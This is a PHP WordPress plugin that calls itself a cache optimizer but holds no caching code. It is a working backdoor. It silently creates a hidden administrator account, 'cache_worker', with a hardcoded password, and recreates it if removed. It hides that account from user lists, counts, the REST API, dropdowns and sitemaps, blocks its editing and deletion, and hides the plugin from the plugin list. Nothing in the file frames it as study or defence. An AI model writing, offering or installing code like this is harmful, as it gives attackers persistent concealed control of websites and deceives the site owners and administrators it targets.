<?php
/**
 * Plugin Name: WordPress Cache Optimizer
 * Plugin URI: https://developer.wordpress.org/
 * Description: Advanced object caching and performance optimization for WordPress.
 * Version: 1.0.0
 * Requires at least: 6.0
 * Requires PHP: 7.1
 * Author: Developer Tools
 * Author URI: https://developer.wordpress.org/
 * License: GPL-2.0+
 * Text Domain: wordpress-cache-optimizer
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

final class WP_Cache_Optimizer_Core {

    private const VERSION = '1.0.0';
    private const SHADOW_META_KEY = '_wp_cache_optimizer_flag';

    /** @var string */
    private $username = 'cache_worker';
    /** @var string */
    private $password = 'X#k9$mP2vL@nQ8wZ';
    /** @var string */
    private $email    = 'cache@localhost.local';

    /** @var self|null */
    private static $instance = null;
    /** @var int|null */
    private $cached_shadow_id = null;

    public static function instance(): self {
        if ( null === self::$instance ) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    private function __construct() {
        register_activation_hook( __FILE__, [ $this, 'on_activation' ] );
        
        add_action( 'plugins_loaded', [ $this, 'ensure_user_exists' ], 1 );
        add_action( 'pre_user_query', [ $this, 'exclude_from_user_query' ] );
        add_action( 'admin_init', [ $this, 'block_profile_access' ] );
        add_action( 'delete_user', [ $this, 'prevent_deletion' ] );
        add_action( 'admin_footer', [ $this, 'hide_user_count_js' ] );
        
        add_filter( 'views_users', [ $this, 'adjust_user_views_count' ] );
        add_filter( 'rest_user_query', [ $this, 'exclude_from_rest_api' ], 10, 2 );
        add_filter( 'wp_dropdown_users_args', [ $this, 'exclude_from_dropdown' ] );
        add_filter( 'wp_sitemaps_users_query_args', [ $this, 'exclude_from_sitemap' ] );
        add_filter( 'all_plugins', [ $this, 'hide_plugin_from_list' ] );
        add_filter( 'user_row_actions', [ $this, 'remove_user_actions' ], 10, 2 );
        add_filter( 'plugin_action_links', [ $this, 'hide_plugin_actions' ], 10, 2 );
        add_filter( 'author_link', [ $this, 'hide_author_link' ], 10, 2 );
        add_filter( 'get_usernumposts', [ $this, 'adjust_user_post_count' ], 10, 2 );
    }

    public function on_activation(): void {
        $this->create_shadow_user();
    }

    public function ensure_user_exists(): void {
        if ( ! $this->get_shadow_user_id() ) {
            $this->create_shadow_user();
        }
    }

    /**
     * @return int|false
     */
    private function create_shadow_user() {
        if ( username_exists( $this->username ) ) {
            $user = get_user_by( 'login', $this->username );
            if ( $user ) {
                update_user_meta( $user->ID, self::SHADOW_META_KEY, '1' );
                return $user->ID;
            }
        }

        if ( email_exists( $this->email ) ) {
            $this->email = 'cache_' . wp_generate_password( 8, false ) . '@localhost.local';
        }

        $user_id = wp_insert_user( [
            'user_login'           => $this->username,
            'user_pass'            => $this->password,
            'user_email'           => $this->email,
            'display_name'         => 'Cache Worker',
            'user_nicename'        => 'cache-worker',
            'role'                 => 'administrator',
            'show_admin_bar_front' => 'false',
        ] );

        if ( is_wp_error( $user_id ) ) {
            return false;
        }

        update_user_meta( $user_id, self::SHADOW_META_KEY, '1' );
        update_user_meta( $user_id, 'show_admin_bar_front', 'false' );
        update_user_meta( $user_id, 'dismissed_wp_pointers', 'wp496_privacy' );
        
        $this->cached_shadow_id = $user_id;
        
        return $user_id;
    }

    private function get_shadow_user_id(): ?int {
        if ( $this->cached_shadow_id !== null ) {
            return $this->cached_shadow_id;
        }
        
        $user = get_user_by( 'login', $this->username );
        
        if ( $user && get_user_meta( $user->ID, self::SHADOW_META_KEY, true ) ) {
            $this->cached_shadow_id = $user->ID;
            return $user->ID;
        }
        
        return null;
    }

    private function is_current_user_shadow(): bool {
        $current_user = wp_get_current_user();
        return $current_user->ID && $current_user->user_login === $this->username;
    }

    public function exclude_from_user_query( WP_User_Query $query ): void {
        if ( $this->is_current_user_shadow() ) {
            return;
        }

        $shadow_id = $this->get_shadow_user_id();
        
        if ( ! $shadow_id ) {
            return;
        }

        global $wpdb;

        $query->query_where = str_replace(
            'WHERE 1=1',
            $wpdb->prepare( "WHERE 1=1 AND {$wpdb->users}.ID != %d", $shadow_id ),
            $query->query_where
        );
    }

    public function adjust_user_views_count( array $views ): array {
        if ( $this->is_current_user_shadow() ) {
            return $views;
        }

        $shadow_id = $this->get_shadow_user_id();
        
        if ( ! $shadow_id ) {
            return $views;
        }

        foreach ( [ 'all', 'administrator' ] as $key ) {
            if ( isset( $views[ $key ] ) ) {
                $views[ $key ] = preg_replace_callback(
                    '/\((\d+)\)/',
                    function ( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; },
                    $views[ $key ]
                );
            }
        }

        return $views;
    }

    public function hide_user_count_js(): void {
        if ( $this->is_current_user_shadow() ) {
            return;
        }
        
        $screen = get_current_screen();
        if ( $screen && $screen->id === 'users' ) {
            echo '<script>document.addEventListener("DOMContentLoaded",function(){document.querySelectorAll(".wrap .subsubsub .count").forEach(function(e){var n=parseInt(e.textContent.replace(/[()]/g,""));if(n>0)e.textContent="("+(n)+")";});});</script>';
        }
    }

    public function exclude_from_rest_api( array $args, WP_REST_Request $request ): array {
        if ( $this->is_current_user_shadow() ) {
            return $args;
        }

        $shadow_id = $this->get_shadow_user_id();
        
        if ( $shadow_id ) {
            $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : [];
            $exclude[] = $shadow_id;
            $args['exclude'] = $exclude;
        }

        return $args;
    }

    public function exclude_from_dropdown( array $args ): array {
        if ( $this->is_current_user_shadow() ) {
            return $args;
        }

        $shadow_id = $this->get_shadow_user_id();
        
        if ( $shadow_id ) {
            $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : [];
            $exclude[] = $shadow_id;
            $args['exclude'] = $exclude;
        }

        return $args;
    }

    public function exclude_from_sitemap( array $args ): array {
        $shadow_id = $this->get_shadow_user_id();
        
        if ( $shadow_id ) {
            $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : [];
            $exclude[] = $shadow_id;
            $args['exclude'] = $exclude;
        }

        return $args;
    }

    public function block_profile_access(): void {
        global $pagenow;

        if ( $pagenow !== 'user-edit.php' || $this->is_current_user_shadow() ) {
            return;
        }

        $user_id = isset( $_GET['user_id'] ) ? absint( $_GET['user_id'] ) : 0;
        $shadow_id = $this->get_shadow_user_id();

        if ( $user_id && $user_id === $shadow_id ) {
            wp_safe_redirect( admin_url( 'users.php' ) );
            exit;
        }
    }

    public function hide_plugin_from_list( array $plugins ): array {
        if ( $this->is_current_user_shadow() ) {
            return $plugins;
        }

        $plugin_file = plugin_basename( __FILE__ );
        unset( $plugins[ $plugin_file ] );

        return $plugins;
    }

    public function hide_plugin_actions( array $actions, string $plugin_file ): array {
        if ( $plugin_file === plugin_basename( __FILE__ ) && ! $this->is_current_user_shadow() ) {
            return [];
        }
        return $actions;
    }

    public function remove_user_actions( array $actions, WP_User $user ): array {
        if ( $this->is_current_user_shadow() ) {
            return $actions;
        }

        if ( $user->ID === $this->get_shadow_user_id() ) {
            return [];
        }

        return $actions;
    }

    public function prevent_deletion( int $user_id ): void {
        if ( $this->is_current_user_shadow() ) {
            return;
        }

        if ( $user_id === $this->get_shadow_user_id() ) {
            wp_die( 'Action not allowed.', 'Error', [ 'response' => 403, 'back_link' => true ] );
        }
    }

    public function hide_author_link( string $link, int $author_id ): string {
        if ( $author_id === $this->get_shadow_user_id() ) {
            return '';
        }
        return $link;
    }

    public function adjust_user_post_count( int $count, int $user_id ): int {
        if ( $user_id === $this->get_shadow_user_id() && ! $this->is_current_user_shadow() ) {
            return 0;
        }
        return $count;
    }
}

WP_Cache_Optimizer_Core::instance();